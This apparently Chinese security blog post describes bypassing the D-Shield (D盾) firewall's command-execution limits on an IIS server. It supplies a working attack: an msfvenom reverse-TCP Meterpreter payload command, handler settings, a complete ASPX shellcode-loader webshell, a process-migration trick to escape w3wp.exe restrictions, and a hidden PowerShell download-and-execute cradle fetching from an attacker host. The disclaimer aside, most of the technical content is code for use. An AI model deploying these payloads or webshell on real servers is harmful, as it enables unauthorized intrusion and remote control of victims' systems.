D盾防火墙防护绕过-[命令执行限制]

2022-05-16 21:30:53 浏览数 (1)

声明:该公众号大部分文章来自作者日常学习笔记,也有部分文章是经过作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。

0x01 测试环境

代码语言:javascript复制
操作系统:Windows Server 2008 R2 x64
软件版本:D盾v2.1.4.4[测试版]
进程名称:d_manage.exe[D盾服务程序]、D_Safe_Manage.exe[D盾管理程序]
服务名称:d_safe[D盾_服务程序(提供网站和服务器安全服务)]

0x02 功能介绍

D盾防火墙的“命令执行限制”是通过多种方式来进行限制的,【组件限制】是通过禁止调用wscript.shell、shell.application组件来限制执行命令。

而【执行限制】是通过禁止在w3wp.exe进程下创建子进程来限制执行命令和程序,这样能够有效防止入侵者在提权时执行命令和危险程序等。

w3wp.exe是IIS与应用池相关联进程,Webshell执行命令和程序时都会在w3wp.exe下创建子进程,而D盾不允许在w3wp.exe下创建子进程,所以在执行命令、脚本、程序时都会被拦截,提示:拒绝访问。

0x03 解决方案

使用msfvenom命令生成csharp shellcode,将shellcode替换至intosec-shellcode.aspx脚本的codeBytes处,接着我们在handler监听模块里配置好相关选项,执行监听。

代码语言:javascript复制
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.120 lport=443 -f csharp

set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.1.120
set lport 443
exploit

将替换好的intosec-shellcode.aspx脚本上传至目标网站Web目录下,通过浏览器访问该脚本文件即可得到目标主机Meterpreter会话,但还是不能直接执行命令,那么要如何绕过呢?

这里我们可以利用进程注入的方式来绕过,首先加载powershell扩展,使用powershell_shell命令进入交互模式下执行powershell得到一个x64的conhost.exe进程来进行当前会话的进程迁移。其实只要随便执行一条命令即可,然后再Ctrl C强制结束就会有conhost.exe

为什么要执行以上操作?因为在这种场景下当前权限运行的进程只有w3wp.exe,没有其它同权限进程用于进程迁移,所以只能利用powershell扩展得到个conhost.exe进程用于执行迁移。

如果遇到执行powershell但并没有conhost.exe进程的情况,可能是需要多执行几次才会有。

通过上图可以看到已经成功利用powershell扩展得到一个PID为4156的conhost.exe进程,这时就可以利用migrate命令将当前会话进程w3wp.exe迁移到conhost.exe进程。

然后再去执行shell命令时发现已经成功的绕过了D盾防火墙的【执行限制】,这时可以看到已经可以正常的执行系统命令、脚本和程序了。

注意事项:

这种方式是将shellcode加载到w3wp.exe内存中运行,但非常容易造成IIS应用程序池崩溃,访问网站出现503报错,所以还请谨慎使用。

而且获取的会话经常会断开,不适合运行在w3wp.exe、conhost.exe,所以还是得在绕过D盾防火墙的【执行限制】后再单独运行一个Payload。

代码语言:javascript复制
powershell.exe -nop -w hidden -c $x=new-object net.webclient;$x.proxy=[Net.WebRequest]::GetSystemWebProxy();$x.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $x.downloadstring('http://192.168.1.120:8080/CEE8ABRRXl');

为什么不用msfvenom生成的aspx脚本呢?因为D盾防火墙的“脚本安全性检测”会拦截,或者在访问时会出现下图提示:无法在DLL“kernel32”中找到名为“CreateThread”的入口点,这是因为D盾禁止并拦截了这个API(kernel32.dll CreateThread)。

intosec-shellcode.aspx:

代码语言:javascript复制
<%@ Page Language="C#" AutoEventWireup="true" Inherits="System.Web.UI.Page" %>
<%@ Import Namespace="System" %>
<%@ Import Namespace="System.Runtime.InteropServices" %>

<script runat="server">
    delegate int revtcp();
    protected void Page_Load(object sender, EventArgs e)
    {
        byte[] codeBytes = { 
Insert Shellcode Here };
        IntPtr handle = IntPtr.Zero;
        handle = VirtualAlloc(
            IntPtr.Zero,
            codeBytes.Length,
            MEM_COMMIT | MEM_RESERVE,
            PAGE_EXECUTE_READWRITE);
        try
        {
            Marshal.Copy(codeBytes, 0, handle, codeBytes.Length);
            revtcp msfpayload
               = Marshal.GetDelegateForFunctionPointer(handle, typeof(revtcp)) as revtcp;
            msfpayload();
        }
        finally
        {
            VirtualFree(handle, 0, MEM_RELEASE);
        }
    }

    //Windows API 
    [DllImport("Kernel32.dll", EntryPoint = "VirtualAlloc")]
    public static extern IntPtr VirtualAlloc(IntPtr address, int size, uint allocType, uint protect);
    [DllImport("Kernel32.dll", EntryPoint = "VirtualFree")]
    public static extern bool VirtualFree(IntPtr address, int size, uint freeType);
    //flags 
    const uint MEM_COMMIT = 0x1000;
    const uint MEM_RESERVE = 0x2000;
    const uint PAGE_EXECUTE_READWRITE = 0x40;
    const uint MEM_RELEASE = 0x8000;
</script>

0x04 D盾 v.2.6.1.3(2022/4)

这个版本的D盾防火墙拦截了kernel32.dll的以下几个API函数。msf-shellcode.aspx、intosec-shellcode.aspx脚本的VirtualAlloc,哥斯拉Csharp马连接时的LoadLibraryW。

代码语言:javascript复制
CreateThread
VirtualAlloc
LoadLibraryA
LoadLibraryW
......

哈哈哈,师傅们别骂了,只能怪我太菜了,研究测试了几天,最终也没能绕过最新版的【执行限制】,如果有师傅知道如何绕过或是想一起研究的可以交流下。

0 人点赞